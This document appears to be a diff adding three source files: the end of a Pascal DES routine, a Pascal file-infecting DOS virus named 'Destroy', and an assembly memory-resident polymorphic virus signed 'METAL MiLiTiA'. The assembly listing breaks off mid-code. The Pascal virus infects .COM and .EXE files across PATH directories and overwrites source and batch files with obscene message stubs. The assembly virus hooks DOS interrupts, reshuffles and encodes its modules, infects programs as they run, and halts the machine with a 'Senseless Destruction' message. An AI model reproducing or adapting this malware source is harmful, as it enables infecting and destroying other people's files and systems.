|
||||
( 1,15,13, 8,10, 3, 7, 4,12, 5, 6,11, 0,14, 9, 2),
|
||||
( 7,11, 4, 1, 9,12,14, 2, 0, 6,10,13,15, 3, 5, 8),
|
||||
( 2, 1,14, 7, 4,10, 8,13,15,12, 9, 0, 3, 5, 6,11)));
|
||||
|
||||
PC_1 : Array [1..56] Of Byte = (57,49,41,33,25,17, 9,
|
||||
1,58,50,42,34,26,18,
|
||||
10, 2,59,51,43,35,27,
|
||||
19,11, 3,60,52,44,36,
|
||||
63,55,47,39,31,23,15,
|
||||
7,62,54,46,38,30,22,
|
||||
14, 6,61,53,45,37,29,
|
||||
21,13, 5,28,20,12, 4);
|
||||
|
||||
PC_2 : Array [1..48] Of Byte = (14,17,11,24, 1, 5,
|
||||
3,28,15, 6,21,10,
|
||||
23,19,12, 4,26, 8,
|
||||
16, 7,27,20,13, 2,
|
||||
41,52,31,37,47,55,
|
||||
30,40,51,45,33,48,
|
||||
44,49,39,56,34,53,
|
||||
46,42,50,36,29,32);
|
||||
|
||||
ShiftTable : Array [1..16] Of Byte = (1,1,2,2,2,2,2,2,1,2,2,2,2,2,2,1);
|
||||
|
||||
Var
|
||||
InputValue : Array [1..64] Of Byte;
|
||||
OutputValue : Array [1..64] Of Byte;
|
||||
RoundKeys : Array [1..16,1..48] Of Byte;
|
||||
L, R, FunctionResult : Array [1..32] Of Byte;
|
||||
C, D : Array [1..28] Of Byte;
|
||||
|
||||
Function GetBit (Var Data; Index : Byte) : Byte;
|
||||
|
||||
Var
|
||||
Bits : Array [0..7] Of Byte ABSOLUTE Data;
|
||||
|
||||
Begin
|
||||
Dec (Index);
|
||||
If Bits[Index DIV 8] And (128 SHR (Index MOD 8))>0 then GetBit:=1
|
||||
Else GetBit:=0;
|
||||
End;{GetBit}
|
||||
|
||||
Procedure SetBit (Var Data; Index, Value : Byte);
|
||||
|
||||
Var
|
||||
Bits : Array [0..7] Of Byte ABSOLUTE Data;
|
||||
Bit : Byte;
|
||||
|
||||
Begin
|
||||
Dec (Index);
|
||||
Bit:=128 SHR (Index MOD 8);
|
||||
Case Value Of
|
||||
0 : Bits[Index DIV 8]:=Bits[Index DIV 8] And (Not Bit);
|
||||
1 : Bits[Index DIV 8]:=Bits[Index DIV 8] Or Bit;
|
||||
End;
|
||||
End;{SetBit}
|
||||
|
||||
Procedure F (Var FR, FK, Output);
|
||||
|
||||
Var
|
||||
R : Array [1..48] Of Byte ABSOLUTE FR;
|
||||
K : Array [1..48] Of Byte ABSOLUTE FK;
|
||||
Temp1 : Array [1..48] Of Byte;
|
||||
Temp2 : Array [1..32] Of Byte;
|
||||
n, h, i, j, Row, Column : Integer;
|
||||
TotalOut : Array [1..32] Of Byte ABSOLUTE Output;
|
||||
|
||||
Begin
|
||||
For n:=1 to 48 Do Temp1[n]:=R[E[n]] Xor K[n];
|
||||
For n:=1 to 8 Do Begin
|
||||
i:=(n-1)*6;
|
||||
j:=(n-1)*4;
|
||||
Row:=Temp1[i+1]*2+Temp1[i+6];
|
||||
Column:=Temp1[i+2]*8 + Temp1[i+3]*4 + Temp1[i+4]*2 + Temp1[i+5];
|
||||
For h:=1 to 4 Do Begin
|
||||
Case h Of
|
||||
1 : Temp2[j+h]:=(SBoxes[n,Row,Column] And 8) DIV 8;
|
||||
2 : Temp2[j+h]:=(SBoxes[n,Row,Column] And 4) DIV 4;
|
||||
3 : Temp2[j+h]:=(SBoxes[n,Row,Column] And 2) DIV 2;
|
||||
4 : Temp2[j+h]:=(SBoxes[n,Row,Column] And 1);
|
||||
End;
|
||||
End;
|
||||
End;
|
||||
For n:=1 to 32 Do TotalOut[n]:=Temp2[P[n]];
|
||||
End;{F}
|
||||
|
||||
Procedure Shift (Var SubKeyPart);
|
||||
|
||||
Var
|
||||
SKP : Array [1..28] Of Byte ABSOLUTE SubKeyPart;
|
||||
n, b : Byte;
|
||||
|
||||
Begin
|
||||
b:=SKP[1];
|
||||
For n:=1 to 27 Do SKP[n]:=SKP[n+1];
|
||||
SKP[28]:=b;
|
||||
End;{Shift}
|
||||
|
||||
Procedure SubKey (Round : Byte; Var SubKey);
|
||||
|
||||
Var
|
||||
SK : Array [1..48] Of Byte ABSOLUTE SubKey;
|
||||
n, b : Byte;
|
||||
|
||||
Begin
|
||||
For n:=1 to ShiftTable[Round] Do Begin
|
||||
Shift (C);
|
||||
Shift (D);
|
||||
End;
|
||||
For n:=1 to 48 Do Begin
|
||||
b:=PC_2[n];
|
||||
If b<=28 then SK[n]:=C[b] Else SK[n]:=D[b-28];
|
||||
End;
|
||||
End;{SubKey}
|
||||
|
||||
Var
|
||||
n, i, b, Round : Byte;
|
||||
Outputje : Array [1..64] Of Byte;
|
||||
K : Array [1..48] Of Byte;
|
||||
fi : Text;
|
||||
|
||||
Begin
|
||||
For n:=1 to 64 Do InputValue[n]:=GetBit (Input,n);
|
||||
For n:=1 to 28 Do Begin
|
||||
C[n]:=GetBit(Key,PC_1[n]);
|
||||
D[n]:=GetBit(Key,PC_1[n+28]);
|
||||
End;
|
||||
For n:=1 to 16 Do SubKey (n,RoundKeys[n]);
|
||||
For n:=1 to 64 Do If n<=32 then L[n]:=InputValue[IP[n]]
|
||||
Else R[n-32]:=InputValue[IP[n]];
|
||||
For Round:=1 to 16 Do Begin
|
||||
If Encrypt then
|
||||
F (R,RoundKeys[Round],FunctionResult)
|
||||
Else
|
||||
F (R,RoundKeys[17-Round],FunctionResult);
|
||||
For n:=1 to 32 Do FunctionResult[n]:=FunctionResult[n] Xor L[n];
|
||||
L:=R;
|
||||
R:=FunctionResult;
|
||||
End;
|
||||
For n:=1 to 64 Do Begin
|
||||
b:=InvIP[n];
|
||||
If b<=32 then OutputValue[n]:=R[b] Else OutputValue[n]:=L[b-32];
|
||||
End;
|
||||
For n:=1 to 64 Do SetBit (Output,n,OutputValue[n]);
|
||||
End;
|
||||
|
||||
end.
|
||||
|
||||
@@ -0,0 +1,272 @@
|
||||
{$A+,B-,D-,E-,F-,G+,I-,L-,N-,O-,P-,Q-,R-,S-,T-,V-,X+,Y-}
|
||||
{$M 16384,20000,100000}
|
||||
PROGRAM Destroy;
|
||||
|
||||
{$I-}
|
||||
|
||||
USES CRT, DOS;
|
||||
|
||||
CONST
|
||||
MyLen = 7335;
|
||||
VAR
|
||||
SR : SearchRec;
|
||||
FN : String;
|
||||
Dir : DirStr;
|
||||
Nam : NameStr;
|
||||
Ext : ExtStr;
|
||||
|
||||
FUNCTION UpStr (S : String) : String;
|
||||
VAR
|
||||
I : Byte;
|
||||
BEGIN
|
||||
FOR I := 1 TO Length (S) DO
|
||||
S [I] := UpCase (S [I]);
|
||||
UpStr := S;
|
||||
END;
|
||||
|
||||
PROCEDURE Infect_File;
|
||||
VAR
|
||||
F, F1 : File;
|
||||
Buff : Array [1..MYLEN] Of Byte;
|
||||
B : Byte;
|
||||
W : Word;
|
||||
BEGIN
|
||||
Assign (F, SR.Name);
|
||||
FileMode := 2;
|
||||
ReSet (F,1);
|
||||
IF IOResult <> 0 THEN Exit;
|
||||
IF (FileSize (F) < 2*MyLen) OR (FileSize (F) > 30*MyLen) THEN BEGIN
|
||||
Close (F);
|
||||
Exit;
|
||||
END;
|
||||
Assign (F1, ParamStr (0));
|
||||
ReSet (F1,1);
|
||||
IF IOResult <> 0 THEN BEGIN
|
||||
Close (F);
|
||||
Exit;
|
||||
END;
|
||||
Seek (F, FileSize (F)-1);
|
||||
BlockRead (F, B, 1, W);
|
||||
IF B = Ord ('€') THEN BEGIN
|
||||
Close (F);
|
||||
Close (F1);
|
||||
Exit;
|
||||
END;
|
||||
Seek (F, 0);
|
||||
BlockRead (F, Buff, MyLen, W);
|
||||
FOR W := 1 TO MyLen DO
|
||||
Buff [W] := Buff [W] xor Byte (W);
|
||||
Seek (F, FileSize (F));
|
||||
BlockWrite (F, Buff, MyLen, W);
|
||||
B := Ord ('€');
|
||||
BlockWrite (F, B, 1, W);
|
||||
Seek (F, 0);
|
||||
BlockRead (F1, Buff, MyLen, W);
|
||||
BlockWrite (F, Buff, MyLen, W);
|
||||
Close (F1);
|
||||
SetFTime (F, SR.Time);
|
||||
Close (F);
|
||||
SetFAttr (F, SR.Attr);
|
||||
END;
|
||||
|
||||
PROCEDURE KILLER_FILE (I : Byte);
|
||||
VAR
|
||||
T, T1 : Text;
|
||||
J : Byte;
|
||||
S : String;
|
||||
BEGIN
|
||||
IF SR.Attr And ReadOnly <> 0 THEN Exit;
|
||||
Assign (T, SR. Name);
|
||||
Assign (T1, 'QWERTY.SWP');
|
||||
ReSet (T);
|
||||
IF I = 1 THEN BEGIN
|
||||
J := 0;
|
||||
WHILE EOF (T) = False DO BEGIN
|
||||
ReadLn (T, S);
|
||||
IF Pos ('PROGRAM', UpStr (S)) <> 0 THEN BEGIN
|
||||
J := 1;
|
||||
Break;
|
||||
END;
|
||||
END;
|
||||
IF J = 0 THEN BEGIN
|
||||
Close (T);
|
||||
Exit;
|
||||
END ELSE ReSet (T);
|
||||
END;
|
||||
ReWrite (T1);
|
||||
CASE I OF
|
||||
1 : BEGIN
|
||||
WriteLn (T1, 'PROGRAM Virus;');
|
||||
WriteLn (T1, 'BEGIN');
|
||||
WriteLn (T1, 'WriteLn ('+#39+'˜¥« ¡ë âë åã©!'+#39+');');
|
||||
WriteLn (T1, 'END.');
|
||||
END;
|
||||
2 : BEGIN
|
||||
WriteLn (T1, 'PRINT "˜¥« ¡ë âë åã©!"');
|
||||
END;
|
||||
3 : BEGIN
|
||||
WriteLn (T1, 'Model Tiny');
|
||||
WriteLn (T1, '.Code');
|
||||
WriteLn (T1, 'ORG 100h');
|
||||
WriteLn (T1, 'START:');
|
||||
WriteLn (T1, 'LEA DX, MSG');
|
||||
WriteLn (T1, 'MOV AH,09h');
|
||||
WriteLn (T1, 'INT 21h');
|
||||
WriteLn (T1, 'RET');
|
||||
WriteLn (T1, 'MSG db '+#39+'˜¥« ¡ë âë åã©!'+#39+'0ah,0dh,'+#39+'$'+#39);
|
||||
WriteLn (T1, 'END START');
|
||||
END;
|
||||
4 : BEGIN
|
||||
WriteLn (T1, 'echo off');
|
||||
WriteLn (T1, 'echo ˜¥« ¡ë âë åã©!');
|
||||
WriteLn (T1, 'pause');
|
||||
END;
|
||||
5 : BEGIN
|
||||
WriteLn (T1, '˜¥« ¡ë âë åã©!');
|
||||
END;
|
||||
6 : BEGIN
|
||||
WriteLn (T1, 'Ÿ - ‚ˆ�“‘-Œ“„€Š');
|
||||
WriteLn (T1, '€ âë ¨¤¨ åã©');
|
||||
END;
|
||||
END;
|
||||
WHILE EOF (T) = False DO BEGIN
|
||||
ReadLn (T, S);
|
||||
WriteLn (T1, S);
|
||||
END;
|
||||
Close (T);
|
||||
Erase (T);
|
||||
Close (T1);
|
||||
Rename (T1, SR.Name);
|
||||
SetFAttr (T1, ReadOnly);
|
||||
END;
|
||||
|
||||
PROCEDURE Find_In_To_Current_Directory;
|
||||
BEGIN
|
||||
FindFirst('*.*', $20, SR);
|
||||
While DosError = 0 do begin
|
||||
FSplit (SR.Name, Dir, Nam, Ext);
|
||||
IF Ext = '.COM' THEN Infect_File;
|
||||
IF Ext = '.EXE' THEN Infect_File;
|
||||
IF Ext = '.PAS' THEN KILLER_File (1);
|
||||
IF Ext = '.BAS' THEN KILLER_File (2);
|
||||
IF Ext = '.ASM' THEN KILLER_File (3);
|
||||
IF Ext = '.BAT' THEN KILLER_File (4);
|
||||
IF Ext = '.ME' THEN KILLER_File (5);
|
||||
IF Ext = '.DIZ' THEN KILLER_File (5);
|
||||
IF UpStr (SR.Name) = 'DIRINFO' THEN KILLER_File (6);
|
||||
FindNext(SR);
|
||||
End;
|
||||
END;
|
||||
|
||||
PROCEDURE Exec_Program;
|
||||
VAR
|
||||
F1, F : File;
|
||||
Buff : Array [1..MYLEN] Of Byte;
|
||||
W : Word;
|
||||
S : String;
|
||||
FTime : LongInt;
|
||||
FAttr : Word;
|
||||
BEGIN
|
||||
FSplit (FExpand(ParamStr (0)), Dir, Nam, Ext);
|
||||
IF Nam = 'DESTROY' THEN Exit;
|
||||
Assign (F, ParamStr (0));
|
||||
GetFAttr (F, FAttr);
|
||||
SetFAttr (F, Archive);
|
||||
FileMode := 2;
|
||||
ReSet (F,1);
|
||||
IF IOResult <> 0 THEN BEGIN
|
||||
WriteLn ('Disk failure');
|
||||
Exit;
|
||||
END;
|
||||
GetFTime (F, FTime);
|
||||
Assign (F1, 'QWERTY.SWP');
|
||||
ReWrite (F1,1);
|
||||
|
||||
BlockRead (F, Buff, MyLen, W);
|
||||
BlockWrite (F1, Buff, MyLen, W);
|
||||
|
||||
Seek (F, FileSize (F) - (MyLen + 1));
|
||||
BlockRead (F, Buff, MyLen, W);
|
||||
FOR W := 1 TO MyLen DO
|
||||
Buff [W] := Buff [W] xor Byte (W);
|
||||
Seek (F, 0);
|
||||
BlockWrite (F, Buff, MyLen, W);
|
||||
|
||||
Seek (F, FileSize (F) - (MyLen + 1));
|
||||
Truncate (F);
|
||||
|
||||
Close (F1);
|
||||
Close (F);
|
||||
S := '';
|
||||
FOR W := 1 TO ParamCount DO
|
||||
S := ParamStr (1) + ' ';
|
||||
SwapVectors;
|
||||
Exec (ParamStr (0), S);
|
||||
SwapVectors;
|
||||
FileMode := 2;
|
||||
Assign (F, ParamStr (0));
|
||||
ReSet (F,1);
|
||||
Assign (F1, 'QWERTY.SWP');
|
||||
ReSet (F1,1);
|
||||
Seek (F, 0);
|
||||
BlockRead (F, Buff, MyLen, W);
|
||||
FOR W := 1 TO MyLen DO
|
||||
Buff [W] := Buff [W] xor Byte (W);
|
||||
Seek (F, FileSize (F));
|
||||
BlockWrite (F,Buff, MyLen, W);
|
||||
Buff [1] := Ord('€');
|
||||
BlockWrite (F,Buff[1], 1, W);
|
||||
BlockRead (F1, Buff, MyLen, W);
|
||||
Seek (F, 0);
|
||||
BlockWrite (F, Buff, MyLen, W);
|
||||
SetFTime (F, FTime);
|
||||
Close (F);
|
||||
SetFAttr (F, FAttr);
|
||||
Close (F1);
|
||||
Erase (F1);
|
||||
END;
|
||||
|
||||
PROCEDURE Search_From_PATH;
|
||||
VAR
|
||||
PS : String;
|
||||
Home : String;
|
||||
S : String;
|
||||
Ch : Char;
|
||||
I : Byte;
|
||||
BEGIN
|
||||
GetDir (0, Home);
|
||||
PS := GetEnv ('PATH');
|
||||
S := '';
|
||||
I := 1;
|
||||
WriteLn (PS);
|
||||
REPEAT
|
||||
IF I >= Length (PS)+1 THEN BEGIN
|
||||
IF S <> '' THEN BEGIN
|
||||
IF S[Length(S)] = '\' THEN Delete (S, Length (S), 1);
|
||||
ChDir (S);
|
||||
IF IOResult = 0 THEN
|
||||
Find_In_To_Current_Directory;
|
||||
END;
|
||||
Break;
|
||||
END;
|
||||
Ch := PS [I];
|
||||
Inc (I);
|
||||
IF Ch <> ';' THEN S := S + Ch ELSE BEGIN
|
||||
IF S[Length(S)] = '\' THEN Delete (S, Length (S), 1);
|
||||
ChDir (S);
|
||||
IF IOResult <> 0 THEN BEGIN
|
||||
S := '';
|
||||
Continue;
|
||||
END;
|
||||
Find_In_To_Current_Directory;
|
||||
S := '';
|
||||
END;
|
||||
UNTIL False;
|
||||
ChDir (Home);
|
||||
END;
|
||||
|
||||
BEGIN
|
||||
Find_In_To_Current_Directory;
|
||||
Exec_Program;
|
||||
Search_From_PATH;
|
||||
END.
|
||||
@@ -0,0 +1,518 @@
|
||||
|
||||
code segment
|
||||
assume cs:code,ds:code
|
||||
.radix 16
|
||||
org 100
|
||||
start:
|
||||
push word ptr cs:[tabb+2]
|
||||
push cs
|
||||
pop ds
|
||||
jmp loopshit
|
||||
otto:
|
||||
jmp start
|
||||
loopshit:
|
||||
jmp word ptr cs:[tabb]
|
||||
|
||||
curofs dw ?
|
||||
files db 0 ;number of infected files from this copy
|
||||
fsize dw 2 ;size of infected file
|
||||
ftime dw ?
|
||||
fdate dw ?
|
||||
stdint21 dd ?
|
||||
oldint13 dd ?
|
||||
oldint21 dd ?
|
||||
oldint24 dd ?
|
||||
|
||||
;------------- TABLE WITH MODULE PARAMETERS --------------------
|
||||
tabb :
|
||||
dw offset false_mod_1 ;00
|
||||
dw offset mod_2 ;02
|
||||
dw offset mod_3 ;04
|
||||
dw offset mod_4 ;06 ;offset modules
|
||||
dw offset mod_5 ;08
|
||||
dw offset mod_6 ;0a
|
||||
dw offset mod_7 ;0c
|
||||
dw offset mod_8 ;0e
|
||||
|
||||
dw offset mod_2 - offset mod_1;10
|
||||
dw offset mod_3 - offset mod_2;12
|
||||
dw offset mod_4 - offset mod_3;14
|
||||
dw offset mod_5 - offset mod_4;16
|
||||
dw offset mod_6 - offset mod_5;18 ;size modules
|
||||
dw offset mod_7 - offset mod_6;1a
|
||||
dw offset mod_8 - offset mod_7;1c
|
||||
dw offset myend - offset mod_8;1e
|
||||
|
||||
|
||||
;------------- MODULE - 1 - CODER/DECODER ----------------------
|
||||
mod_1:
|
||||
mov bx,offset tabb+2 ;first module to working (module 2)
|
||||
mov cx,6 ;number of modules to working
|
||||
mod_1_lp1:
|
||||
cmp bx,offset tabb+0a
|
||||
jne mod_1_cont
|
||||
add bx,2
|
||||
mod_1_cont:
|
||||
push bx
|
||||
push cx
|
||||
mov ax,[bx] ;ax - offset module
|
||||
mov cx,[bx+10] ;cx - size of module
|
||||
mov bx,ax
|
||||
mod_1_lp2:
|
||||
xor byte ptr [bx],al
|
||||
inc bx
|
||||
loop mod_1_lp2
|
||||
pop cx
|
||||
pop bx
|
||||
add bx,2
|
||||
loop mod_1_lp1
|
||||
ret
|
||||
|
||||
;------------- MODULE - 2 - MUTATION TO MEMORY -----------------
|
||||
mod_2:
|
||||
;instalation check
|
||||
|
||||
mov es,cs:[2] ;memory size
|
||||
mov di,100
|
||||
mov si,100
|
||||
mov cx,0bh
|
||||
repe cmpsb
|
||||
jne mod_2_install ;jump if not install
|
||||
jmp word ptr cs:[tabb+06] ;if install, jump to module 4
|
||||
|
||||
mod_2_install:
|
||||
;instalation
|
||||
|
||||
mov ax,cs
|
||||
dec ax
|
||||
mov ds,ax
|
||||
|
||||
cmp byte ptr ds:[0],'Z'
|
||||
je mod_2_cont
|
||||
|
||||
jmp word ptr cs:[tabb+6] ;if no last MCB - go to mod4
|
||||
|
||||
mod_2_cont:
|
||||
sub word ptr ds:[3],0c0
|
||||
mov ax,es
|
||||
sub ax,0c0
|
||||
mov es,ax
|
||||
mov word ptr ds:[12],ax ;decrement memory size with 2K
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
mod_2_mut:
|
||||
mov byte ptr cs:files,0
|
||||
|
||||
mov di,100
|
||||
mov cx,offset mod_1-100
|
||||
mov si,100
|
||||
rep movsb ;write table to new memory
|
||||
|
||||
mov bx,word ptr cs:[tabb]
|
||||
add bx,offset mod_1_lp2-offset mod_1+1
|
||||
xor byte ptr [bx],18 ;change code method
|
||||
|
||||
mov cx,8
|
||||
mov word ptr curofs,offset mod_1
|
||||
mod_2_lp1:
|
||||
push cx
|
||||
call mod_2_rnd ;generate random module addres
|
||||
push bx ;addres in table returned from mod_2_rnd
|
||||
mov ax,[bx] ;offset module
|
||||
push ax
|
||||
add bx,10
|
||||
mov cx,[bx] ;length of module
|
||||
pop si
|
||||
pop bx
|
||||
xchg di,curofs
|
||||
mov word ptr es:[bx],di ;change module offset in table
|
||||
rep movsb ;copy module to new memory
|
||||
xchg di,curofs ;change current offset in new memory
|
||||
mov ax,8000
|
||||
or word ptr [bx],ax ;mark module - used
|
||||
pop cx
|
||||
loop mod_2_lp1
|
||||
mov cl,8
|
||||
not ax
|
||||
mov bx,offset tabb
|
||||
mod_2_lp2:
|
||||
and word ptr [bx],ax ;unmark all modules
|
||||
add bx,2
|
||||
loop mod_2_lp2
|
||||
|
||||
jmp word ptr cs:[tabb+4] ;go to module 3
|
||||
|
||||
mod_2_rnd:
|
||||
push cx
|
||||
push es
|
||||
xor cx,cx
|
||||
mov es,cx
|
||||
mod_2_lp3:
|
||||
mov bx,es:[46c]
|
||||
db 81,0e3,07,00 ;and bx,7
|
||||
shl bx,1
|
||||
add bx,offset tabb
|
||||
test [bx],8000
|
||||
jnz mod_2_lp3
|
||||
pop es
|
||||
pop cx
|
||||
ret
|
||||
|
||||
;------------- MODULE - 3 - SET INTERRUPT VECTORS ---------------
|
||||
mod_3:
|
||||
xor ax,ax
|
||||
mov ds,ax
|
||||
|
||||
mov ax,ds:[4*21]
|
||||
mov word ptr es:[oldint21],ax
|
||||
mov ax,ds:[4*21+2]
|
||||
mov word ptr es:[oldint21+2],ax
|
||||
|
||||
mov ah,30
|
||||
int 21
|
||||
cmp ax,1e03
|
||||
jne mod_3_getvec
|
||||
|
||||
mov word ptr es:[stdint21],1460
|
||||
mov ax,1203
|
||||
push ds
|
||||
int 2f
|
||||
mov word ptr es:[stdint21+2],ds
|
||||
pop ds
|
||||
jmp mod_3_setvec
|
||||
|
||||
mod_3_getvec:
|
||||
mov ax,ds:[4*21]
|
||||
mov word ptr es:[stdint21],ax
|
||||
mov ax,ds:[4*21+2]
|
||||
mov word ptr es:[stdint21+2],ax
|
||||
|
||||
mod_3_setvec:
|
||||
cli
|
||||
mov ax,word ptr es:[tabb+0c]
|
||||
mov ds:[4*21],ax
|
||||
mov ax,es
|
||||
mov ds:[4*21+2],ax
|
||||
sti
|
||||
|
||||
mov cx,es
|
||||
mov ah,13 ;
|
||||
int 2f ;
|
||||
push es ;
|
||||
mov es,cx ;
|
||||
mov word ptr es:[oldint13],dx ; get standart int13 addres
|
||||
mov word ptr es:[oldint13+2],ds ;
|
||||
pop es ;
|
||||
int 2f ;
|
||||
|
||||
jmp word ptr cs:[tabb+06] ;go to module 4
|
||||
|
||||
;------------- MODULE - 4 - RESTORE OLD PROGRAM CODE & START ----
|
||||
mod_4:
|
||||
push cs
|
||||
push cs
|
||||
pop ds
|
||||
pop es
|
||||
mov si,word ptr cs:[tabb+06]
|
||||
add si,offset mod_4_cont - offset mod_4
|
||||
mov di,cs:fsize
|
||||
add di,offset myend+1
|
||||
push di
|
||||
mov cx,offset mod_5 - offset mod_4_cont
|
||||
cld
|
||||
rep movsb
|
||||
ret
|
||||
mod_4_cont:
|
||||
mov si,cs:fsize
|
||||
add si,100
|
||||
|
||||
cmp si,offset myend+1
|
||||
jnc mod_4_cnt
|
||||
mov si,offset myend+1
|
||||
mod_4_cnt:
|
||||
mov di,100
|
||||
mov cx,offset myend-100
|
||||
rep movsb
|
||||
mov ax,100 ;
|
||||
push ax ; jmp 100
|
||||
ret ;
|
||||
|
||||
;------------- MODULE - 5 - SPECIAL PROGRAM ---------------------
|
||||
mod_5:
|
||||
mov ah,9
|
||||
mov dx,word ptr [tabb+8]
|
||||
add dx,offset msg-offset mod_5
|
||||
push cs
|
||||
pop ds
|
||||
int 21
|
||||
cli
|
||||
hlt
|
||||
|
||||
msg db 0dh,0a,'Senseless Destruction...',7,7,'$'
|
||||
|
||||
;------------- MODULE - 6 - INT 24 HEADER -----------------------
|
||||
mod_6:
|
||||
mov al,3
|
||||
iret
|
||||
db 'Protecting what we are ',0
|
||||
db 'joining together to take on the world.. ',0
|
||||
db 'METAL MiLiTiA [iMM0RTAL Ri0T] ',0
|
||||
|
||||
|
||||
|
||||
|
||||
;------------- MODULE - 7 - INT 21 HEADER -----------------------
|
||||
mod_7:
|
||||
push bx
|
||||
push si
|
||||
push di
|
||||
push es
|
||||
push ax
|
||||
|
||||
cmp ax,4b00
|
||||
je mod_7_begin
|
||||
jmp mod_7_exit
|
||||
mod_7_begin:
|
||||
push ds
|
||||
push cs ;
|
||||
pop es ;
|
||||
xor ax,ax ;
|
||||
mov ds,ax ;
|
||||
mov si,4*24 ;
|
||||
mov di,offset oldint24 ;
|
||||
movsw ; change int24 vector
|
||||
movsw ;
|
||||
mov ax,word ptr cs:[tabb+0a] ;
|
||||
cli ;
|
||||
mov ds:[4*24],ax ;
|
||||
mov ax,cs ;
|
||||
mov ds:[4*24+2],ax ;
|
||||
sti
|
||||
pop ds
|
||||
|
||||
mov ax,3d00 ;
|
||||
pushf ;
|
||||
call cs:oldint21 ;
|
||||
jc mod_7_ex ; open,infect,close file
|
||||
mov bx,ax ;
|
||||
mod_7_infect: ;
|
||||
call word ptr cs:[tabb+0e] ;
|
||||
pushf
|
||||
mov ah,3e ;
|
||||
pushf ;
|
||||
call cs:oldint21 ;
|
||||
popf
|
||||
jc mod_7_ex
|
||||
|
||||
push ds ;
|
||||
cli ;
|
||||
xor ax,ax ;
|
||||
mov ds,ax ;
|
||||
mov ax,word ptr cs:[oldint13] ;
|
||||
xchg ax,word ptr ds:[4*13] ;
|
||||
mov word ptr cs:[oldint13],ax ; exchange int13 vectors
|
||||
mov ax,word ptr cs:[oldint13+2] ;
|
||||
xchg ax,word ptr ds:[4*13+2] ;
|
||||
mov word ptr cs:[oldint13+2],ax ;
|
||||
sti ;
|
||||
pop ds ;
|
||||
mod_7_ex:
|
||||
push ds ;
|
||||
xor ax,ax ;
|
||||
mov ds,ax ;
|
||||
mov ax,word ptr cs:oldint24 ;
|
||||
mov ds:[4*24],ax ;
|
||||
mov ax,word ptr cs:oldint24+2 ; restore int24 vector
|
||||
mov ds:[4*24+2],ax ;
|
||||
pop ds ;
|
||||
|
||||
mod_7_exit:
|
||||
pop ax
|
||||
pop es
|
||||
pop di
|
||||
pop si
|
||||
pop bx
|
||||
|
||||
jmp cs:oldint21
|
||||
|
||||
;------------- MODULE - 8 - INFECTING (bx - file handle) --------
|
||||
mod_8:
|
||||
push cx
|
||||
push dx
|
||||
push ds
|
||||
push es
|
||||
push di
|
||||
push bp
|
||||
|
||||
push bx
|
||||
mov ax,1220
|
||||
int 2f
|
||||
mov bl,es:[di]
|
||||
xor bh,bh
|
||||
mov ax,1216
|
||||
int 2f
|
||||
pop bx
|
||||
|
||||
mov ax,word ptr es:[di+11]
|
||||
cmp ax,0f000
|
||||
jc mod_8_c
|
||||
jmp mod_8_exit
|
||||
|
||||
mod_8_c:
|
||||
mov word ptr es:[di+2],2 ;open mode - R/W
|
||||
|
||||
mov ax,es:[di+11]
|
||||
mov cs:fsize,ax ; save file size
|
||||
|
||||
mov ax,word ptr es:[di+0dh] ;
|
||||
mov word ptr cs:[ftime],ax ; save file date/time
|
||||
mov ax,word ptr es:[di+0f] ;
|
||||
mov word ptr cs:[fdate],ax ;
|
||||
|
||||
push cs ;
|
||||
pop ds ;
|
||||
mov dx,offset myend+1 ;
|
||||
mov cx,offset myend-100 ; read first bytes
|
||||
mov ah,3f ;
|
||||
pushf
|
||||
call cs:oldint21
|
||||
jnc mod_8_cnt
|
||||
jmp mod_8_exit
|
||||
|
||||
mod_8_cnt:
|
||||
mov bp,ax ; ax - bytes read
|
||||
mov si,dx
|
||||
mov ax,'MZ'
|
||||
cmp ax,word ptr ds:[si]
|
||||
jne mod_8_nxtchk
|
||||
jmp mod_8_exit
|
||||
mod_8_nxtchk:
|
||||
xchg ah,al
|
||||
cmp ax,ds:[si]
|
||||
jne mod_8_cnt2
|
||||
jmp mod_8_exit
|
||||
|
||||
mod_8_cnt2:
|
||||
push es
|
||||
push di
|
||||
push cs ;
|
||||
pop es ;
|
||||
mov si,100 ;
|
||||
mov di,dx ; check for infected file
|
||||
mov cx,0bh ;
|
||||
repe cmpsb ;
|
||||
pop di
|
||||
pop es
|
||||
jne mod_8_cnt1 ;
|
||||
jmp mod_8_exit
|
||||
mod_8_cnt1:
|
||||
mov word ptr es:[di+15],0 ; fp:=0
|
||||
|
||||
push es
|
||||
push di
|
||||
mov si,word ptr cs:[tabb+0e]
|
||||
add si,offset mod_8_cont - offset mod_8
|
||||
xor di,di
|
||||
push cs
|
||||
pop es
|
||||
mov cx,offset mod_8_cont_end - offset mod_8_cont
|
||||
cld
|
||||
rep movsb
|
||||
pop di
|
||||
pop es
|
||||
|
||||
mov si,word ptr cs:[tabb+0e]
|
||||
add si,offset mod_8_cont_end - offset mod_8
|
||||
push si
|
||||
xor si,si
|
||||
push si
|
||||
|
||||
push ds ;
|
||||
cli ;
|
||||
xor ax,ax ;
|
||||
mov ds,ax ;
|
||||
mov ax,word ptr cs:[oldint13] ;
|
||||
xchg ax,word ptr ds:[4*13] ;
|
||||
mov word ptr cs:[oldint13],ax ;
|
||||
mov ax,word ptr cs:[oldint13+2] ; exchange int13 vectors
|
||||
xchg ax,word ptr ds:[4*13+2] ;
|
||||
mov word ptr cs:[oldint13+2],ax ;
|
||||
sti ;
|
||||
pop ds ;
|
||||
|
||||
ret
|
||||
|
||||
mod_8_cont:
|
||||
push bx
|
||||
call word ptr cs:[tabb] ; code virus
|
||||
pop bx
|
||||
|
||||
mov dx,100 ;
|
||||
mov ah,40 ; write code in begin
|
||||
mov cx,offset myend-0ff
|
||||
pushf ;
|
||||
call cs:stdint21 ;
|
||||
|
||||
pushf
|
||||
push bx
|
||||
call word ptr cs:[tabb] ; decode virus
|
||||
pop bx
|
||||
popf
|
||||
jnc mod_8_cont1
|
||||
pop ax
|
||||
mov ax,word ptr cs:[tabb+0e]
|
||||
add ax,offset mod_8_ext - offset mod_8
|
||||
push ax
|
||||
ret
|
||||
mod_8_cont1:
|
||||
mov ax,es:[di+11] ; fp:=end of file
|
||||
mov word ptr es:[di+15],ax ;
|
||||
|
||||
mov dx,offset myend+1
|
||||
mov cx,bp ; bp - files read
|
||||
mov ah,40 ;
|
||||
pushf ;
|
||||
call cs:stdint21 ; write in end of file
|
||||
|
||||
ret
|
||||
|
||||
mod_8_cont_end:
|
||||
mov ax,5701 ;
|
||||
mov cx,cs:ftime ;
|
||||
mov dx,cs:fdate ; restore file date/time
|
||||
pushf ;
|
||||
call cs:oldint21 ;
|
||||
|
||||
inc cs:files
|
||||
